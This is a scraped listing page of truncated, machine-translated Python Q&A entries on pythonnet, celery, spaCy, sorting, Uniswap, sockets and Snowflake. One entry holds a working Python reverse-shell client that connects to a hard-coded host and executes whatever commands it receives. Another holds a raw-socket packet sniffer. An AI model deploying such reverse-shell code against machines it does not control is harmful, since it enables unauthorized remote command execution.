pythonnet load clr模块 - 可以添加参考,但不能加载名称空间模块
我正在尝试将DLL加载到我的Python代码中. 首先,我安装了Python软件包Pythonnet py -3.8 -m pip install pythonnet 我成功地使用了系统. import sys import clr, System from System import Array, Int32 arr = clr.System.Array.CreateInstance(clr.System.Double,3,2) 但是,我无法使用自己的自定义DLL.我的C#库看起来像: using System; namespace CsLibrary { public class PyWrapper { public PyWrapper() { } public void sayHello() { Console.WriteLine("Hello World"); } } } 我可以添加参考
20 2024-04-23
编程技术问答社区
在 python 中提取姓名的姓氏
我有一个带有行的文本文件: Acosta, Christina, M.D. is a heart doctor Alissa Russo, M.D. is a heart doctor 是否有一种方法可以转换下方: Acosta, Christina, M.D. is a heart doctor to Christina Acosta, M.D. is a heart doctor 预期输出: Christina Acosta, M.D. is a heart doctor Alissa Russo, M.D. is a heart doctor 解决方案 您可以使用后面的正则姓名来对第一个和姓氏进行分组,并以相反的顺序替换它们,而无需逗号: import re data = '''Acosta, Christina, M.D. is a heart doctor Alissa Russo, M.D. is a heart doctor
30 2024-04-23
编程技术问答社区
AttributeError: 'PathDistribution' 对象没有属性 'name';
我正在尝试使用celery进行简单的工作流程,并使用 提取一个文件,将其归纳并加载DOC的句子令牌的JSON转储到另一个文件(新).迭代文件夹中的文件列表 中的文件列表 以下是我的代码: - 文件夹结构 celery-pipeline/ ├── celeryapp.py ├── celeryconfig.py ├── data/ ├── output/ └── tasks.py celeryapp.py from celery import Celery app = Celery() app.config_from_object('celeryconfig') celeryconfig.py imports = ('tasks',) broker_url = 'redis://localhost:6379/0' result_backend = 'db+postgresql://celery_user:celery_user@127.0.0.1:
26 2024-04-23
编程技术问答社区
如何在 Spacy 中使用 neuralcoref
我一直在尝试使用库neuralcoref:基于神经网和spacy的最新核心分辨率.我正在使用Ubuntu 16.04,Python 3.7.3在Conda 1.9.7和Spacy 2.2.4. . 我的代码(来自 https://spacy.io/universe/project/project/neuralcoref ): import spacy import neuralcoref nlp = spacy.load('en_core_web_sm') neuralcoref.add_to_pipe(nlp) doc1 = nlp('My sister has a dog. She loves him.') print(doc1._.coref_clusters) doc2 = nlp('Angela lives in Boston. She is quite happy in that city.') for ent in doc2.ents: pr
24 2024-04-23
编程技术问答社区
从另一个列表排序 json 列表
我正在尝试从另一个列表中对JSON列表进行分类. 示例: jsonList = [{'id': 'das', 'name': 'something'}, {'id': 'rtn', 'name': 'Something Else'}, {'id': 'ddsn', 'name': 'Something ElseElse'}] orderList = ['rtn', 'ddsn', 'das'] goodList = someFunction(jsonList, orderList ) 我需要输出是由ID排序的JSON列表: goodList = [{'id': 'rtn', 'name': 'Something Else'}, {'id': 'ddsn', 'name': 'Something ElseElse'}, {'id': 'das', 'name': 'something'}] 解决方案 goodList = sorted(jsonList, key=l
12 2024-04-23
编程技术问答社区
在 Python 3 中,将比较器作为键写入排序的正确方法是什么?
我不确定如何在Python 3中编写比较器,因为删除了CMP参数.考虑Python 3中的以下代码,如何仅使用密钥重写比较器? import functools def my_cmp(x, y): return x*5-y*2 l = [50, 2, 1, 9] print(sorted(l, key=functools.cmp_to_key(my_cmp))) 谢谢. 解决方案 您提出的此"比较"功能是不一致的:它应该提供确定的(确定性)顺序,含义,如果您更改列表中的元素顺序并运行sorted - 您应该应该得到相同的结果! 在您的情况下,元素的顺序会影响排序: import functools def my_cmp(x, y): return x*5-y*2 l = [50, 2, 1, 9] print(sorted(l, key=functools.cmp_to_key(my_cmp))) # [2, 1, 9, 50]
10 2024-04-23
编程技术问答社区
通过 python3 计算 uniswap 3.0 池(对)地址
我遇到了一些问题如何计算 新的UNISWAP版本3池(较早的版本称为Pair) 基于 解决方案 在新的Uniswap v3.0中,还有一个附加参数 用于计算池地址 - 费用为percents的费用,如 sdk 使用UINT24类型. 来自 [defaultAbiCoder.encode(['address', 'address', 'uint24'], [token0.address, token1.address, fee]) 我为什么决定使用encodePacked(即encode_abi_packed for eth_abi.packed)函数对其进行计算.但这产生了错误的结果. 在UNISWAP v3.0外围池池中更深入研究 - 3 澄清 我的错.它在版本3.0中使用encode(即python3 for eth_abi中)函数进行了3.0版.更多的解释所以,耦合在一起. 用python3的辅助工具计算池地址的主要功能. from web3 import W
20 2024-04-23
编程技术问答社区
用 Python 持续监控 TCP 数据流馈送
我在Python 3.5中编写了一个Python脚本,我有一个主机和端口,我想做的就是创建脚本,以便它不断监视提供的数据以获取数据.数据是通过TCP流式供稿以XML格式分配的,标记了事件的开始和结束. 因此,我要做的是基本上是在XML启动和结束标签之间标记的新事件的TCP feed,然后检索事件并在我的脚本中相应地处理.此外,理想情况下,我需要在毫秒内的提要中访问新数据. 提要是一个发行警报的政府供稿,feed是stream.naad-adna.pelmorex.com,端口为8080,我想做的是监视此提要以获取新警报,然后能够访问该提要提醒并在Python中相应处理.提要每分钟发送心跳,以表明连接还活着. 我相信最好的选择是使用插座,尽管我不确定如何在此特定用例中实现它们.我在TCP提要方面没有太多经验,在我的特定用例下,我找不到与如何在Python中处理TCP Feed有关的太多在线,我能够处理XML,尽管我能够弄清楚如何弄清楚从TCP提要中拉出它. 任何帮助
16 2024-04-23
编程技术问答社区
通过套接字以二进制数据形式发送图像
我有一个多线程回声服务器: from socket import * import threading import thread def handler(clientsock,addr): while 1: data = clientsock.recv(BUFSIZ) if not data: break msg = 'echoed:... ' + data clientsock.send(msg) clientsock.close() if __name__=='__main__': HOST = 'localhost' PORT = 21567 BUFSIZ = 1024 ADDR = (HOST, PORT) serversock = socket(AF_INET, SOCK_STREAM) serversock.bi
22 2024-04-23
编程技术问答社区
尝试更改目录时,使用 Python 的反向 Shell 命令会卡住
我试图用带有python的反向外壳获得全面特权. 建立了连接,我可以执行诸如" ipconfig"或" dir"之类的命令(尽管有时我需要在获得" dir"命令的结果之前询问两次. 但是,当我尝试使用" CD"更改目录时,它会陷入困境并不会返回任何内容. 这是我的客户端文件: import socket import subprocess SERVER_HOST = "192.168.1.81" SERVER_PORT = 5003 s = socket.socket() s.connect((SERVER_HOST, SERVER_PORT)) while True: command = s.recv(1024).decode() if command.lower() == "exit": break else: output = subprocess.getoutput(command)
18 2024-04-23
编程技术问答社区
Python 中更快的套接字
我有一个用python编写的服务器,该客户端通过LAN运行.该算法的某些部分使用插座读数大量读取,并且执行速度慢约3-6倍,比几乎是相同的一个用C ++写.有哪些解决方案可以使Python插座读数更快? 我实施了一些简单的缓冲,我的班级使用插座看起来像这样: import socket import struct class Sock(): def __init__(self): self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.recv_buf = b'' self.send_buf = b'' def connect(self): self.s.connect(('127.0.0.1', 6666)) def close(self): self.s.close() def re
32 2024-04-23
编程技术问答社区
"必须是字符串,而不是字节"
我在Python上写了一台服务器: import socket server_socket = socket.socket() server_socket.bind(('0.0.0.0', 8820)) server_socket.listen(1) (client_socket, client_address) = server_socket.accept() client_name = client_socket.recv(1024) client_socket.send('Hello ' + client_name) client_socket.close() server_socket.close() ,我写了一个客户: import socket my_socket = socket.socket() my_socket.connect(('127.0.0.1', 8820)) my_socket.send('Sami') data = my_so
18 2024-04-23
编程技术问答社区
AttributeError: 模块 'socket' 没有属性 'AF_PACKET';
我正在使用Python来构建数据包嗅探程序,但是我遇到了速度.由于某种原因,我认为插座尚未正确导入,因为运行程序时我会收到以下消息:AttributeError: module 'socket' has no attribute 'AF_PACKET' 我正在使用OS X,而Pycharm是我的IDE,如果有帮助,我正在运行最新版本的Python. 无论如何,这是我到目前为止的完整程序: import struct import textwrap import socket def main(): connection = socket.socket(socket.AF_PACKET, socket.SOCKET_RAW, socket.ntohs(3)) while True: rawData, address = connection.recvfrom(65535) reciever_mac, sender_mac
14 2024-04-23
编程技术问答社区
从 python 脚本向 NodeJS 传输连续数据流
我有一个多线程python脚本,该脚本将图像转换为numpy阵列(占用网格).然后,Python脚本不断更改数组的值,以模拟在地图中移动的点.该阵列使用枕头将其转换回图像,然后编码为base64. Nodejs部分具有运行的Express Server,该服务器还具有与移动应用程序的socketio连接. 我要做的是: 将编码的映像从服务器发送到移动应用程序,因此想到的选项是从Nodejs运行Python脚本,并且随着Python脚本传输编码的映像,服务器将其将其重定向到移动应用程序. 我要寻找的是: 将python脚本输出流到nodejs而不停止(直到模拟停止) 或使用更好的解决方案将数据从Python获取到手机 预先感谢! Python脚本运行: import matplotlib.pyplot as plt import cv2 import threading import base64 from PIL import Image temp =
18 2024-04-23
编程技术问答社区
雪花 Python 连接器插入不接受变量
使用雪花连接器,我试图将记录插入表中. 在雪花中> doc 他们显示了用硬编码字符串的示例,但是当我尝试使用变量时,它不起作用.在这种情况下,请建议如何使用变量. conn.cursor().execute( "INSERT INTO cm.crawling_metrics(FEED_DATE,COMP_NAME,REFRESH_TYPE,CRAWL_INPUT,CRAWL_SUCCESS) VALUES " + "(score_creation_date,compName,sRefreshType,mp_sku_count,comp_sku_count)" 我得到以下错误 snowflake.connector.Errors.Programmingerror:000904(42000):SQL汇编错误:错误行1在位置100 无效的标识符'score_creation_date' 注意:在上面的代码中,如果我用字
12 2024-04-23
编程技术问答社区
使用 Python 将数据写入 snowflake
我们可以在不使用python的雪花内部阶段直接将数据写入雪花表中??? 似乎辅助任务先在舞台上写入,然后将其转换为表格.它只能像RDBMS中的JDBC连接一样一步一步. 解决方案 将数据加载到雪花的绝对最快方法是从内部或外部阶段的文件中.时期.所有连接器都能使用标准插入命令插入数据,但这不会表现得不太执行.也就是说,许多雪花驱动程序现在都使用PUT/COPY命令透明地将大数据加载到雪花上,以通过内部舞台加载到雪花上.如果这是您所追求的,那么您可以利用pandas write_pandas命令将数据从pandas dataframe加载到单个命令中的雪花.在幕后,它将为您执行预先和复制. https://docs.snowflake.com/en/user-guide/python-connector-api.html#label-python-connector-api-write-write-pandas 我强烈建议通过在任何驱动程序中的插入命令上插入命令.我
22 2024-04-22
编程技术问答社区
如何从列表中选取连续数字
ive获得了一个列表,该列表实际上保留了另一个列表的索引.因此,我想从此列表中挑选连续的数字 index_list=[3,4,8,9,35,36,37] 我希望输出为 [3:4], [8:9], [35:37] ------------------------------------------------------------------------------------------------------------------------------ > 我还有另一个单词的主列表,其中有80个单词. master_list=['was,'it','to,'go,'I'.........] 因此,连续索引将帮助我从 中挑选出所需的单词 master_list[3:4], master_list[8:9], master_list[35:37] 解决方案 可能有很多方法可以做到这一点.这是基于reduce()和islice()的一个:
16 2024-04-22
编程技术问答社区
Python 3 和 Slack 客户端:ssl.SSLCertVerificationError
我正在尝试访问Python 3.8中的Slack,但我无法通过第一步. 这是我的代码: import slack slack_token="xoxp-*******-*******-*******-*******" client = slack.WebClient(slack_token) client.chat_postMessage( channel="XXXXXXXXXX", text="Hello from your app! :tada:" ) print('hello') 这是错误: Traceback (most recent call last): File "/Library/Frameworks/Python.framework/Versions/3.8/lib/python3.8/site-packages/aiohttp/connector.py", line 936, in _wrap_create_connectio
66 2024-04-22
编程技术问答社区
使用 functools.wraps 时覆盖函数签名(在帮助中
我正在用 functools.wraps functools.wraps .我的包装器具有覆盖默认参数的效果(并且它没有其他任何作用): def add(*, a=1, b=2): "Add numbers" return a + b @functools.wraps(add) def my_add(**kwargs): kwargs.setdefault('b', 3) return add(**kwargs) 这个my_add定义的行为与 相同 @functools.wraps(add) def my_add(*, a=1, b=3): return add(a=a, b=b) 除了我不必手动输入参数列表. 但是,当我运行help(my_add)时,我会看到add的帮助字符串,add的函数名称错误和默认参数错误的参数b: add(*, a=1, b=2) Add numbers 我如何覆盖此help()输
34 2024-04-22
编程技术问答社区
尝试在 Python3.6 中实现 "signal.CTRL_C_EVENT
我正在阅读有关信号的信息,并且正在尝试实施signal.CTRL_C_EVENT 根据我的了解,如果用户在程序运行时按CTRC + C,则将发送信号以杀死程序.我可以将程序指定为参数? 我试图测试用法: import sys import signal import time import os os.kill('python.exe', signal.CTRL_C_EVENT) while(1): print ("Wait...") time.sleep(10) 但是,看来我需要一个pid编号,而'python.exe'不起作用.我看着流程,似乎找不到PID号码.我确实在服务中看到了一个PID列,但是有很多服务 - 我找不到Python. 那么如何找到PID编号? 另外,Signal_ctrl_c_event是否总是必须在OS.Kill中使用? 它可以用于其他目的吗? 谢谢. 解决方案 Windows无法实现Unix信号,
50 2024-04-22
编程技术问答社区